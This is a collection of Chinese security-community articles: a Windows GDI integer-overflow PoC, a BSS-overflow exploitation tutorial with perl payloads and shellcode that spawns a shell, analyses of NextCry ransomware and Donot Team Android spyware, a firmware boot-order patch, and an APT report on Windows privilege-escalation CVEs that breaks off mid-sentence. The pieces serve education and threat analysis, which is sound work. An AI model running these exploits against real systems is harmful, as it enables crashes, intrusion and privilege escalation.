所示，传入的线条总数不能大于 `0x4E2000` 数值，否则将直接返回失败。所以在验证代码中可以分为多次调用。
漏洞验证逻辑如下：
图 4-1 漏洞验证逻辑
漏洞验证代码如下：
#include <Windows.h>
#include <wingdi.h>
#include <iostream>
CONST LONG maxCount = 0x6666665;
CONST LONG maxLimit = 0x4E2000;
static POINT point[maxCount] = { 0 };
int main(int argc, char *argv[])
{
BOOL ret = FALSE;
for (LONG i = 0; i < maxCount; i++)
{
point[i].x = i + 1;
point[i].y = i + 2;
}
HDC hdc = GetDC(NULL); // get dc of desktop hwnd
BeginPath(hdc); // activate the path
for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))
{
ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));
}
EndPath(hdc); // deactivate the path
HRGN hRgn = PathToRegion(hdc);
return 0;
}
清单 4-2 漏洞验证代码
在清单 4-2 的代码中，我将绘制的线条数目设置为 `0x6666665`，这将导致在 `RGNMEMOBJ::vCreate`
函数中计算分配缓冲区大小时发生整数溢出，缓冲区分配大小的数值成为 `0x18`。代码编译后在目标系统中执行，由整数溢出引发的 OOB 漏洞导致的系统
BSOD 在稍等片刻之后便会触发：
图 4-2 整数溢出引发 OOB 导致系统 BSOD 触发
* * * | 社区文章 |
作者：M0rk
作者博客：<https://kevien.github.io/>
#### TL;DR
缓冲区溢出除了典型的[栈溢出](https://kevien.github.io/2017/08/16/linux%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/
"栈溢出")和[堆溢出](https://kevien.github.io/2017/10/28/%E5%A0%86%E6%BA%A2%E5%87%BA%E5%88%A9%E7%94%A8%E7%AC%94%E8%AE%B0/
"堆溢出")外，还有一种发生在bss段上的，bss属于数据段的一种，通常用来保存未初始化的全局静态变量。[wiki](https://www.wikiwand.com/en/BSS
"wiki")
测试环境ubuntu14.04X86.
###### vul code snippet
from game_of_chance.c
// Custom user struct to store information about users
struct user {
int uid;
int credits;
int highscore;
char name[100];
int (*current_game) ();
};
...
struct user player; // Player struct
其中game_of_chance 是如下图的一个小游戏
如上的代码片段中用一个函数指针保存了上次玩了哪个游戏，这个指针保存在user的结构体中，且被声明为全局变量，这意味着user这个结构体变量保存在bss数据段。其中结构体中固定为100字节的name变量保存了用户的姓名，且这个name是可以被input_name()这个函数所控制的，如下：
void input_name() {
char *name_ptr, input_char='\n';
while(input_char == '\n') // Flush any leftover
scanf("%c", &input_char); // newline chars.
name_ptr = (char *) &(player.name); // name_ptr = player name's address
while(input_char != '\n') { // Loop until newline.
*name_ptr = input_char; // Put the input char into name field.
scanf("%c", &input_char); // Get the next char.
name_ptr++; // Increment the name pointer.
}
*name_ptr = 0; // Terminate the string.
}
这个函数会接收用户输入的名字直到用户输入换行符，所以这里并没有有效的限制用户输入，就意味着可以被利用，此外我们覆盖之后还需要程序去调用这个函数指针，这个功能可以发生在下面代码的6、8或者10行以及play_the_game()函数中，代码片段如下：
if((choice < 1) || (choice > 7))
printf("\n[!!] The number %d is an invalid selection.\n\n", choice);
else if (choice < 4) { // Othewise, choice was a game of some sort.
if(choice != last_game) { // If the function ptr isn't set
if(choice == 1) // then point it at the selected game
player.current_game = pick_a_number;
else if(choice == 2)
player.current_game = dealer_no_match;
else
player.current_game = find_the_ace;
last_game = choice; // and set last_game.
}
play_the_game(); // Play the game.
}
#### 漏洞利用
如果last_game 未设置，函数指针current_game
会被指向成0或者-1，这时不会触发漏洞，后面last_game被设置成1，当修改完名字完成对current_game覆盖再玩游戏1的时候，进入play_the_game()函数,play_the_game()会有current_game指针变量的调用，此时漏洞即触发！！！
我们可以通过ctrl+z挂起当前的进程(这个时候last_game变量被设置成了1(因为刚才玩的是游戏choice是1))，我们找到可以被溢出的变量name，然后通过简单调试看一下name和current_game指针在内存中的位置关系。
如上图所示，正好是100个字节，通过以上我们可以进行如下的覆盖尝试
xxx@ubuntu:~/Desktop/pwntest/bssexploit$ perl -e 'print "A"x100 . "BBBB" . "\n"'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
可以看到程序崩溃之前curren_game已被成功覆盖为BBBB，这个时候我们需要一个”有效的”地址去做我们想要做的事情。
nm命令可以查看程序的符号表，来看一下程序有哪些函数以及其对应的内存地址（此思路常用于破解）。
jackpot函数是我们理想的目标，这个函数用来给我们增加”金币”,所以当current_game函数指针被覆盖成这个函数的时候，我们就可以拥有无数”金币”
这个程序通过标准输入进行用户交互，我们完全可以使用脚本实现自动化，如下的例子将会自动选择游戏1，然后猜测数字7，当被问是否还玩的时候选择no，最后通过选择7退出程序。
perl -e 'print "1\n7\nn\n7\n"' | ./game_of_chance
同样的技巧可以用到自动化exploit中，下面的命令会完成修改用户名为100个A加jackpot()的地址，这个时候就覆盖掉了current_game的地址，然后当再次选择我们要玩的游戏的后，jackpot()函数就会被调用。
xxx@ubuntu:~/Desktop/pwntest/bssexploit$ perl -e 'print "1\n5\nn\n5\n" . "A"x100 . "\xa5\x8c\x04\x08\n" . "1\nn\n" . "7\n"' | ./game_of_chance
-=[ Game of Chance Menu ]=- 1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: M0rk]
[You have 90 credits] ->
[DEBUG] current_game pointer @ 0x08048f15
####### Pick a Number ######
This game costs 10 credits to play. Simply pick a number
between 1 and 20, and if you pick the winning number, you
will win the jackpot of 100 credits!
10 credits have been deducted from your account.
Pick a number between 1 and 20: The winning number is 11
Sorry, you didn't win.
You now have 80 credits
Would you like to play again? (y/n) -=[ Game of Chance Menu ]=- 1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: M0rk]
[You have 80 credits] ->
Change user name
Enter your new name: Your name has been changed.
-=[ Game of Chance Menu ]=- 1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��]
[You have 80 credits] ->
[DEBUG] current_game pointer @ 0x08048ca5
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 180 credits
Would you like to play again? (y/n) -=[ Game of Chance Menu ]=- 1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��]
[You have 180 credits] ->
Thanks for playing! Bye.
xxx@ubuntu:~/Desktop/pwntest/bssexploit$
可以看到函数被调用我们增加了100金币
因为只要有调用函数指针的操作就会触发jackpot函数，只要我们不退出，就可以无限刷金币,像是如下：
perl -e 'print "1\n5\nn\n5\n" . "A"x100 . "\xa5\x8c\x04\x08\n" . "1\n" ."y\n"x10. "n\n5\nM0rk\n7\n"' | ./game_of_chance
到这里可能有人会问那能不能getshell呢，答案是可以的，我们知道每个运行的程序都会加载系统变量，我们可以事先将shellcode写入到环境变量中，然后将跳转地址指向shellcode，就可以执行我们的shellcode了。getenvaddr用来获取SHELLCODE环境变量在程序运行时候所在的地址。
xxx@ubuntu:~/Desktop/pwntest/bssexploit$ echo $SHELLCODE
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1�1ə��̀j
XQh//shh/bin��Q��S��̀
xxx@ubuntu:~/Desktop/pwntest/bssexploit$ ./getenvaddr SHELLCODE ./game_of_chance
SHELLCODE will be at 0xbffff206
xxx@ubuntu:~/Desktop/pwntest/bssexploit$ perl -e 'print "1\n7\nn\n5\n" . "A"x100 . "\x06\xf2\xff\xbf\n" . "1\n"' > exploit_buff
xxx@ubuntu:~/Desktop/pwntest/bssexploit$ cat exploit_buff - | ./game_of_chance
-=[ Game of Chance Menu ]=- 1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: M0rk]
[You have 1260 credits] ->
[DEBUG] current_game pointer @ 0x08048f15
####### Pick a Number ######
This game costs 10 credits to play. Simply pick a number
between 1 and 20, and if you pick the winning number, you
will win the jackpot of 100 credits!
10 credits have been deducted from your account.
Pick a number between 1 and 20: The winning number is 6
Sorry, you didn't win.
You now have 1250 credits
Would you like to play again? (y/n) -=[ Game of Chance Menu ]=- 1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: M0rk]
[You have 1250 credits] ->
Change user name
Enter your new name: Your name has been changed.
-=[ Game of Chance Menu ]=- 1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���]
[You have 1250 credits] ->
[DEBUG] current_game pointer @ 0xbffff206
id
uid=1000(xxx) gid=1000(xxx) groups=1000(xxx),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
#### 相关源码下载
[github repo](https://github.com/kevien/exploitcode "github repo")
#### reference
《Hacking the art of exploitation》0x342
* * * | 社区文章 |
# 无孔不入： NextCry勒索病毒利用PHP最新漏洞攻击传播
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
近日，奇安信病毒响应中心在日常样本监控过程中发现NextCry Ransomware的新进入渠道，其正在利用PHP-fpm远程代码执行漏洞（CVE-2019-11043）针对Linux服务器发起攻击尝试入侵。
NextCry勒索是一种新型勒索软件，该勒索由Python编写并使用PyInstall打包成Linux
ELF二进制文件，采用RSA-2048和AES-256-CBC算法加密指定目录下的文件，无法解密，从勒索名可以看出，作者试图致敬2017年的WannaCry勒索蠕虫。
基于奇安信威胁情报中心的多维度大数据关联分析，目前该勒索主要攻击安装有Nextcloud软件的服务器，不排除后面会扩大攻击范围，为了避免恐慌情绪产生，我们披露此次攻击事件的部分细节，并给出解决方案。
## 漏洞分析
Nextcloud是一款开源的用于创建网络硬盘的客户端-服务器软件，常被用来搭建私有云盘，类似于我们熟知的Dropbox。
CVE-2019-11043是一个十月底刚被披露出来的PHP相关漏洞，相应的技术细节已经公开，利用此漏洞可以非常简单稳定在受影响的服务器上远程执行任意命令，在启用PHP-Fpm的Nginx服务器上运行某些版本的PHP
7有可能受到攻击。没有运行Nginx服务器理论上则不会产生影响，但值得关注的是Nextcloud软件默认情况下开启Nginx服务器，所以几乎所有的基于Nextcloud的云盘都会受到影响，这或许是攻击者选择Nextcloud的原因，Nextcloud官方在第一时间已经发布公告。
漏洞出现在fpm_main.c中，当path_info被%0a字符截断时，值会被归零：
由于path_info可控，通过将指针地址归零，从而将_fcgi_data_seg结构体中的pos指针归零，控制FCGI_PUTENV函数的结果：
通过分析FCGI_PUTENV的内部实现，我们发现只要构造合理的数据包，就可以控制PHP任意全局变量：
一旦攻击者控制了PHP全局变量，便可以在相应目录下包含NextCry勒索程序，进而执行勒索。
## 样本分析
文件名称 | nextcry
---|---
文件类型 | Linux ELF
MD5 | 8c6ed96e6df3d8a9cda39aae7e87330c
打包程序 | PyInstaller
通过对PyInstaller解出来的pyc进行反编译后得到了勒索的源代码，从mian函数中可以看出，一旦入侵成功之后，便会读取nextcloud的配置文件来搜索Nextcloud文件共享并同步数据目录
之后开始使用AES加密文件，并使用内置RSA公钥加密AES密钥
将加密后的AES密钥保存到keys.ENC文件中，最后生成勒索信index.php
勒索信如下，要求支付0.025比特币，目前无法在不支付赎金的情况下解密。
## 结论
奇安信威胁情报中心目前已经检测到有用户中招，请网站管理员更新PHP软件包并更新Nginx配置文件，将相关项改为：
目前奇安信集团全线产品，包括天擎、天眼、SOC、态势感知、威胁情报平台，支持对涉及相关攻击活动的检测和相关勒索病毒的查杀。
## IOC
MD5：
8c6ed96e6df3d8a9cda39aae7e87330c
勒索比特币钱包地址：1K1wwHCUpmsKTuDh9TagfJ4h2bKMxLkjpY
联系邮箱：[email protected]
## 参考链接
[1] https://help.nextcloud.com/t/urgent-security-issue-in-nginx-php-fpm/62665
[2] https://paper.seebug.org/1063/
[3] https://blog.qualys.com/webappsec/2019/10/30/php-remote-code-execution-vulnerability-cve-2019-11043 | 社区文章 |
# Donot Team APT组织移动安全事件披露
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**概述：** Donot
Team是一个疑似具有南亚某国政府背景的APT组织，其主要针对巴基斯坦等南亚地区进行网络间谍活动。该APT组织除了以携带Office漏洞或者恶意宏的鱼叉邮件进行恶意代码的传播之外，还擅长伪装成系统工具、服务等应用在移动端进行传播。
该APT组织的攻击活动最早可追溯到2016年，传播的恶意软件大都具有比较完善的窃取用户隐私数据的功能，窃取的用户隐私数据包括短信、联系人、通讯录、通话记录、键盘记录、日历行程等信息。该类恶意软件运行后会请求用户开启无障碍服务并利用该项服务遍历whatapp节点获取用户聊天内容。它们会将窃取的所有数据保存在txt文件中或本地数据库中并上传至服务器。
**图1-1恶意软件图标**
## 1.样本信息
**MD5** ：47EFAE687575E61F94B1AD8230F03E46
**包名：** com.tencent.mm
**应用名：** SystemService
**安装图标：**
## 2.运行流程图
程序运行会根据配置文件参数的值选择进行不同操作。如果程序是首次运行，则启动主服务从服务器获取指令设置参数的值，然后根据参数的值执行相应的获取用户隐私数据的操作。
**图1-2程序运行流程图**
## 3.行为分析
**应用首次运行请求开启可访问性服务，该项服务用于** 遍历whatapp节点获取用户聊天内容。
**图2-1请求开启可访问性服务**
早期恶意软件版本未对C&C地址加密，更新的恶意软件版本对服务器地址进行了加密处理，增加了分析人员逆向分析难度。
**图2-2文件对比**
解密后的服务器地址为mimestyle.xyz。程序与服务器交互，根据服务器下发的指令配置相应参数。而后根据参数的值执行相应任务。
**图2-3服务端下发指令**
**指令列表:**
1）获取联系人信息：
**图2-4获取用户联系人信息**
**图2-5保存用户联系人信息的txt文件**
2）获取通话记录信息：
**图2-6获取通话记录信息**
**图2-7保存用户通话记录的txt文件**
3）获取短信信息：
**图2-8获取短信信息**
**图2-9保存用户短信的txt文件**
4）获取账户信息：
**图2-10获取用户账户信息**
5）获取外部存储器文件列表：
**图2-11获取外部存储器文件列表**
6）获取已安装应用列表：
**图2-12获取已安装应用列表**
7）获取日历日程事件信息：
**图2-13获取日历日程事件信息**
8）监听用户接收与发送的短信息，并获取短信内容。
**图2-14监听短信息**
9）监听电话状态，根据不同的电话电话执行不同操作。
**图2-15监听电话状态**
10）当用户手机处理监听状态时，对用户通话记录进行录音。并保存/mnt/sdcard/Android/.system路径下。
**图2-16对通话记录录音**
11）通过可访问性服务监听用户操作设备事件，遍历Whatsapp的List节点并保存文本信息。这里是获取用户whatsapp聊天信息。
**图2-17获取用户whatsapp聊天内容**
12）将获取的所有信息保存到.txt文件中。并写入DataOutputStream流中上传至服务器。
**图2-17上传保存隐私数据的文件**
## 3.扩展分析
该APT组织从2016年起就持续在PC端和移动端传播恶意样本，移动端恶意样本的主体功能并未做太大改变。在恒安嘉新App全景平台态势平台上，我们发现多款该APT组织分发的恶意应用。
**图3-1样本信息**
**样本信息：**
## 4.安全建议
提升自身安全意识，当应用一开始运行便请求开启无障碍服务时，应提高警惕。
面对隐藏自身图标无法正常卸载的应用，可进入应用程序列表进行卸载。
关注“暗影安全实验室”微信公众号，我们将持续关注安全事件。 | 社区文章 |
# 手把手教你修改二进制固件引导顺序
|
##### 译文声明
本文是翻译文章，文章来源：WhiteCellClub
原文地址：[https://mp.weixin.qq.com/s?__biz=MzAxMTY5MTEyMQ==&mid=401609901&idx=1&sn=ff28fb43ffbd3aba98a0360c926abd51&scene=1&srcid=0127K4BaSS96ufHN1S22AWy0&key=710a5d99946419d93bd2d7b5ce206ac7880725e7cb3bb192f2cb8f4f465c1623e2af907c65917f37d7469103d7e0aac5&ascene=0&uin=OTI1NzI2MzU%3D&devicetype=iMac+MacBookPro11%2C5+OSX+OSX+10.10.5+build(14F1021)&version=11020201&pass_ticket=sN3lRDytLOewchk8nGoyVEiJaVZZktUKQJadvLKaQaI%3D](https://mp.weixin.qq.com/s?__biz=MzAxMTY5MTEyMQ==&mid=401609901&idx=1&sn=ff28fb43ffbd3aba98a0360c926abd51&scene=1&srcid=0127K4BaSS96ufHN1S22AWy0&key=710a5d99946419d93bd2d7b5ce206ac7880725e7cb3bb192f2cb8f4f465c1623e2af907c65917f37d7469103d7e0aac5&ascene=0&uin=OTI1NzI2MzU%3D&devicetype=iMac+MacBookPro11%2C5+OSX+OSX+10.10.5+build\(14F1021\)&version=11020201&pass_ticket=sN3lRDytLOewchk8nGoyVEiJaVZZktUKQJadvLKaQaI%3D)
译文仅供参考，具体内容表达以及含义原文为准。
****
**本文作者:whitecell-lab _D_D_** ****
**壹、前言**
本文将讲解通过动态分析固件程序来读取启动顺序的具体步骤。
**贰、实验流程**
A.在固件的设置界面中设置启动顺序为依次启动设备A和启动设备B。
B.通过单步进入和单步跳过等方法来追踪固件程序读取固件启动顺序的函数和将启动顺序列表值写入内存中的函数,及内存的物理地址;
C.修改固件启动顺序为硬盘和光驱;
D.反复执行A~C操作,确定固件程序读取固件启动顺序的函数和写入内存中的函数。
**叁、修改过程**
通过以上逐步调试,首先找到固件程序中的CD19标识
之后在调用CD19指令前的代码逐步设断点,找到了把启动顺序相关信息写进内存的函数和代码
当执行该函数后,启动顺序的相关内容被写进内存,如图3所示。
通过分析发现,启动设备顺序相关信息被写入内存的段地址:
偏移地址 = F000:5F00。
读取固件启动顺序列表和写启动顺序相关信息入内存中的函数为:
F000:01AF E8941D call near16ptr 1f46
当把启动顺序值写入内存成功后,固件程序执行返回指令,根据启动顺序的值去调用启动设备对应的函数。
当执行完返回指令后语句后,内存不允许被修改:
**肆、嵌入代码**
在确定了固件写启动顺序进内存的函数之后,我们需要分析写进内存的启动顺序相关信息的特征码含义:
当启动顺序列表为启动设备A、启动设备B时。其内存中对应的值为:
F000:5F00 0200 00 01 48 48 01 00 4343
当启动顺序列表为启动设备B、启动设备A时,内存对应的值为:
F000:5F00 0200 00 00 48 48 01 01 4343
(经过实验分析知:其中,0002表示启动设备数,00表示第一个启动设备,01表示第二启动顺序,4848表示启动设备A;01表示第二个启动设备,00表示第一启动顺序,4343表示启动设备B。)
在分析清楚写进内存的启动顺序特征码的具体含义之后,我们也就找到了固件启动顺序的漏洞所在,接下来我们可以考虑做如下实验:在固件程序将固件启动顺序相关信息读取写入内存之后,我们先让计算机去执行我们嵌入的修改启动设备顺序的代码,然后再执行返回指令,出现预期实验结果。
根据启动顺序相关信息特征码编写好用来修改启动顺序的汇编源文件,编译成可执行程序之后截取有效代码部分:
在二进制文件嵌入该代码。
同时在写启动顺序入内存函数call near16 ptr
1f46调用完成之后,增加一个跳转,转而去执行我们的代码,如图10所示。在我们的代码执行完成之后才去执行固件读取启动设备顺序的函数。
执行完修改启动顺序的代码后内存F000:5F00中的值已经被修改,即启动顺序已经被我们修改:
实验成功! | 社区文章 |
**作者：红雨滴团队
原文链接：<https://mp.weixin.qq.com/s/6mT0O9eur5-VEs0rbV0-mg>**
## 概述
APT 攻击（Advanced Persistend Thread，高级持续性威胁）是利用先进的攻击手段对特定的目标进行长期持续性网络攻击的攻击形式。APT
攻击形式相对于其他攻击形式更为高级和先进，其高级性主要体现在精准的信息收集、高度的隐蔽性以及针对于各种复杂系统或应用程序的漏洞利用等方面。
为了更加全面的理解漏洞在APT 攻击中所扮演的角色。奇安信威胁情报中心红雨滴团队聚焦于部分真实APT
攻击活动中所使用的各类Windows系统本地提权漏洞，简要分析这些漏洞原理、利用方式。
在本报告中，奇安信威胁情报中心会以Windows权限提升漏洞作为论述主体，通过研究这些提权漏洞在APT 攻击活动中所扮演的角色并对漏洞威胁性做出简单评定。
最后，基于之前章节的分析和阐述，我们针对APT 组织使用漏洞发展趋势进行总结并提出一些预防建议。由于所涉及到的APT 攻击活动数量较多，且所涉及的APT
活动中使用的提权漏洞也存在一定的重复性，所以本报告以其中影响较大、知名度较高的几次攻击事件为例进行分析介绍。
## 漏洞、CVE以及本地提权漏洞（LPE）
漏洞通常指计算机系统安全方面的缺陷，使得系统或其他应用数据的保密性、完整性、可用性、访问控制等方面面临威胁。这里的计算机系统既包括软件系统如操作系统、应用软件，又包括硬件。本文所指系统特指Windows
操作系统。
CVE 是通用漏洞披露（Common Vulnerabilities and Exposures）的简写，是指代已经公开披露的各种计算机安全漏洞，由
MITRE corporation 监管。我们通常谈论的CVE 指的是分配给每个安全漏洞的CVE ID 编号，该变化由CAN（CVE
编号管理机构分配）。本文提及漏洞皆存在对应的CVE 记录。
而计算机安全漏洞主要分为拒绝服务、代码执行、内存溢出、特权获取、信息泄露、SQL
注入等等，本文着重描述Windows权限提升漏洞，也即本地提权漏洞（Local privilege escalation，简称LPE）。
## 01
### 摩诃草APT组织以巴基斯坦空军演习为诱饵展开攻击活动
#### 相关活动概要
摩诃草APT组织（APT-C-09）在2021年1月左右以巴基斯坦空军演习为诱饵文档发起的攻击活动中，通过恶意文档释放FakeJLI后门，尝试在特殊目录下创建文件并删除以检查是否处于office沙箱保护模式下，并根据判断结果选择是否进行提权操作。
如果当前恶意进程属于WOW64进程，则使用CVE-2016-7255进行提权，反之则使用CVE-2019-0808
进行提权。以下是对两个漏洞的技术细节分析介绍。
### CVE-2016-7255
#### 漏洞概述
2016年12月2日，谷歌研究员在对Pawn Storm
间谍组织实施的攻击活动研究中发现了一个内核提权漏洞，并在披露漏洞后的短时间内微软发布系统安全更新。该漏洞被多个APT 组织在攻击活动中使用。
CVE-2016-7255 是由于win32k!xxxNextWindow
函数未对win32k!tagWND对象内成员有效性就行检测，导致可以构造内核空间任意地址写，最终实现本地提权。
#### 漏洞原理
CVE-2016-7255 漏洞是由于内核函数win32k!xxxNextWindow 函数对win32k!tagWND
对象内成员有效性未做判断，导致攻击者可以利用恶意构造的对象实现对内核任意地址写入数据。
通过对比补丁前后的代码变化，可以发现在win32k!xxxNextWindow 函数的流程中，出现了一处对比代码的变化。
通过对比补丁前后win32k.sys 文件的反编译版本可以发现这里主要增加了对于 _(_BYTE_ )(pwndActivateNext + 0x37) &
0xC0) != 0x40的参数验证。
通过分析得知，此处的pwndActivateNext 是通过GetNextQueueWindow 函数返回，该函数原型如下。
函数返回应该PWND 值，该值为tagWND 结构指针，通过前文中补丁对比可知，在函数win32k!xxxNextWindow 内会对该对象+0xC0
处的值进行校验，通过windbg 可知该处的成员为spmenu，是一个tagMENU
结构对象。由于未对该处的值有效性进行检测，导致此处的值可以通过SetWindowLongPtr 函数进行控制。
#### 漏洞利用
通过分析发现，该漏洞只能修改一位，而不能实现任意地址写入，所以利用对PML4的自引用地址的值进行与0x4
异或修改访问权限实现用户层对内核层的读写，之后通过覆盖haldispatchtable+offset处的代码为shellcode以实现劫持，最后调用NtQueryIntervalProfile
方法实现内核态shellcode 执行以替换当前进程TOKEN 为SYSTEM TOKEN 值实现提权。
### CVE-2019-0808
#### 漏洞概述
2019年3月7日，谷歌威胁分析小组披露了两个0-day 漏洞，其中包括CVE-2019-0808。据微软称，CVE-2019-0808
漏洞允许攻击者提升本地权限并在内核模式下执行任意代码。谷歌表示该漏洞只影响Windows 7 和Windows Server 2008
系统版本，同时该漏洞结合Chrome RCE（CVE-2019-5786）已经被应用于真实的APT攻击中。
CVE-2019-0808 产生的原因是在函数win32k!xxxMNFindWindowFromPoint
接收到窗口过程函数返回的菜单窗口对象后，对于win32!tagPOPUPMENU
对象成员未做有效性检测，导致可能存在对象成员为空的情况，进而导致在win32k!xxxMNUpdateDraggingInfo 函数内触发零指针解引用异常。
#### 漏洞原理
通过目前网络上的资料不难知道，该漏洞产生的原因是win32k.sys 内部函数xxxMNFindWindowFromPoint对tagPOPUPMENU
对象成员有效性判断不足导致后续代码出现空指针解引用异常触发漏洞。通过在测试主机（windows 7 sp1）执行POC 文件触发Crash
并查看调用堆栈如下：
不难看出当执行到win32k!xxxMNUpdateDraggingInfo+0x9e 处时，产生了异常，定位此处，发现是对rdx+0x34
处地址访问时产生。
通过查看堆栈调用，触发漏洞的大致函数执行流程如下：
通过以上的调试，基本知晓了POC 的编写逻辑及基本的漏洞成因。此处使用的POC 代码由ze0r 编写并开源于github。
通过分析POC 源码，可知漏洞触发流程大致如下：
**第一步** ：创建两个菜单对象hMenuRoot 和hMenuSub
并将其设置为无模式，即当菜单处于活动状态时，无菜单模式消息循环。并且将hMenuRoot 设置为主下拉菜单，hMenuSub 设置为其子菜单。
**第二步** ：设置上述菜单信息使之具有拖拽功能。
**第三步** ：设置全局钩子消息以拦截WM_MN_FINDMENUWINDOWFROMPOINT
消息，该消息由xxxMNFindWindowFromPoint 函数发出。
**第四步** ：通过调用NtUserMNDragOver 函数进入漏洞触发流程。
**第五步** ：当进入到NtUserMNDragOver 函数内后，就开始上面图示的流程执行，程序流执行到win32k!xxxMNMouseMove
函数内，会调用win32k!xxxMNFindWindowsFromPoint
函数用于确定鼠标位于哪个窗口，在该函数内会发送MN_FINDMENUWINDOWFROMPOINT
消息事件，由于在第三步设置了全局钩子拦截该消息事件，所以程序流回到用户层代码会进入到HOOK 函数POC!WindowHookProc()
内，通过SetWindowsLongPtr 函数为菜单窗口设置一个新的窗口过程函数，并在函数内部返回我们构造的hWndFakeMenu。
**第六步** ：在第五步执行完成后，xxxMNFindWindowFromPoint
函数获取窗口句柄并传入窗口对象xxxMNUpdateDraggingInfo内，但是此时的对象已经是我们伪造的hWndFakeMenu
对象，并且该对象多数成员值为0，造成代码异常。
通过上述对POC 的分析，可以将上面漏洞触发流程进一步细化为下图：
#### 漏洞利用
通过上述对漏洞产生原因及触发的调试，我们来看看该漏洞是如何进行利用的。由上述可知，该漏洞产生的原因是空指针解引用，所以利用该漏洞首先是解决空指针异常。在Windows
7 系统版本的计算机上，解决空指针异常可以使用NtAllocateVirtualMemory 函数来分配零页内存。
之后需要让程序执行流程进入到if 分支中，需要对零页地址数据进行构造。
此处代码实际上是MNGetpItem 方法，该方法传入两个参数，分别是tagPOPUPMENU 结构指针和UINT
类型的索引值，该值为uDraggingIndex，表示当前正在拖动的项的索引值。通过资料查询，该值可以从tagMSG 的wParam
获取，所以我们可以在用户层设置此处的值。
将此处的值进行修改并进入到if 分支，通过分析后续流程，我们定位到xxxMNSetGapState 函数，在改函数内调用了类似于MNGetpItem
函数，在上述分析中可以知道该函数的返回值是可以由用户层控制的，所以利用这一点可以实现任意地址与下面的0x40000000 的值进行或运算。
有了上述的基础，我们可以利用内核地址泄露和窗口对象喷射技术通过寻找两个内存位置相邻的对象，修改窗口对象附加长度的值为0x400000000，并再次修改第二个窗口对象的strName.Buffer
指针，最后设置strName 的方式实现任意地址写。
写入shellcode 后利用tagWND. bServerSideWindowProc字段置位实现窗口过程函数在内核模式下执行，实现提权。
_<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-0808>_
_<https://paper.seebug.org/856/>_
_<https://ti.qianxin.com/blog/articles/Summary-and-analysis-of-APT-attack-activities-in-South-Asia-in-January-2021/>_
## 02
### 蔓灵花APT组织在针对国内攻击活动中使用Windoows内核提权0 day漏洞
#### 相关活动概要
2020年12月中旬国内某安全厂商披露了蔓灵花（又名Bitter）针对国内科研机构、政府部门发起的APT
活动，并在此次分析中发现了一个使用未知Windows 内核提权漏洞进行本地提权的恶意组件。以下是对该漏洞的技术细节分析介绍。
### CVE-2021-1732
#### 漏洞概述
CVE-2021-1732于2021年2月蔓灵花针对国内科研机构及政府部门的攻击活动中首次被发现，该漏洞利用Windows 操作系统win32k
内核模块一处用户态回调干扰函数正常执行流程，并在可控流程内篡改窗口对象数据造成后续代码执行异常，从而触发漏洞。
#### 漏洞原理
CVE-2021-1732 漏洞位于win32kfull.sys 内，当win32kfull! xxxCreateWindowEx
函数回调xxxClientAllocWindowsClassExtraBytes时进行干预，通过混淆console
窗口和普通窗口，使得回调函数返回内核态执行时触发内核对象越界访问。
正常情况下，窗口的创建过程如图所示：
用户调用CreateWindowsEx
函数并逐步向下执行，通过系统调用机制由用户态进入内核态，并逐层向下，当窗口对象（atgWND）的扩展数据大小值为0时，win32kfull!xxxCreateWindowsEx
函数执行用户回调xxxClientAllocWindowsClassExtraBytes 函数为窗口对象扩展数据申请所需内存。
在完成回调后，返回值将传递给窗口对象的tagWND.pWxtraBytes
属性。但是由于对该值未作有效判定，导致攻击者可以通过特定函数（NtCallbackReturn）修改tagWND. pWxtraBytes
的值为可控的offset，并且在这之前通过调用NtUserConsoleControl 函数修改tagWND
的扩展数据保存方式为桌面堆，最终实现基于内核态桌面堆起始地址可控offset 的越界读写。
通过上述描述，最终窗口创建的流程如下：
#### 漏洞利用
根据POC 可知，利用该漏洞可以实现将tagWND 对象的扩展数据设置为任意可控offset，从而获取指定的内核地址，通过SetWindowLong
函数实现对这些地址的数据修改；通过构建虚假的spmenu 对象配合SetWindowLong 修改指定tagWND 对象的spmenu
